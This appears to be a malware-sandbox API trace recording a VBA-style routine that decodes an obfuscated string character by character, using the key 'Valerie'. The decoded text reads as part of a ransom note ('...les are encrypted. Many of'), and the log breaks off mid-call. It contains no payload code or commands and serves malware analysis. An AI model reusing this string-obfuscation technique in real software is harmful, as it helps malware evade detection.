0x0 [0175.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0175.406] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.406] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.406] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.407] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.407] VarParseNumFromStr (in: strIn="&H1F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.407] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.407] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.408] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.408] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.408] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.408] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.408] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.409] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.409] VarParseNumFromStr (in: strIn="&H1B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.409] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0175.409] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.409] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.409] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.410] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.410] VarParseNumFromStr (in: strIn="&H76", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.410] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.410] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.411] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.411] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.411] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.411] VarParseNumFromStr (in: strIn="&H02", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.411] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.412] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.412] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.412] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0175.412] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.413] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.413] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0175.413] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.413] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.413] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0175.414] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.414] VarParseNumFromStr (in: strIn="&H11", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.414] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.414] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.414] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.414] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.415] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.415] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.415] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.416] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.416] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.416] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.416] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.416] VarParseNumFromStr (in: strIn="&H4B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.416] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0175.417] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.417] VarParseNumFromStr (in: strIn="&H7F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.417] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0175.417] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.418] VarParseNumFromStr (in: strIn="&H63", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.418] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0175.418] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.418] VarParseNumFromStr (in: strIn="&H2C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.418] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0175.419] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.419] VarParseNumFromStr (in: strIn="&H37", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.419] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.419] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.419] VarParseNumFromStr (in: strIn="&H0F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.419] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.420] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.420] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.420] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0175.420] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.421] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.421] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.421] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.421] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.421] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.422] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.422] VarParseNumFromStr (in: strIn="&H0F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.422] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0175.422] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.422] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.422] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 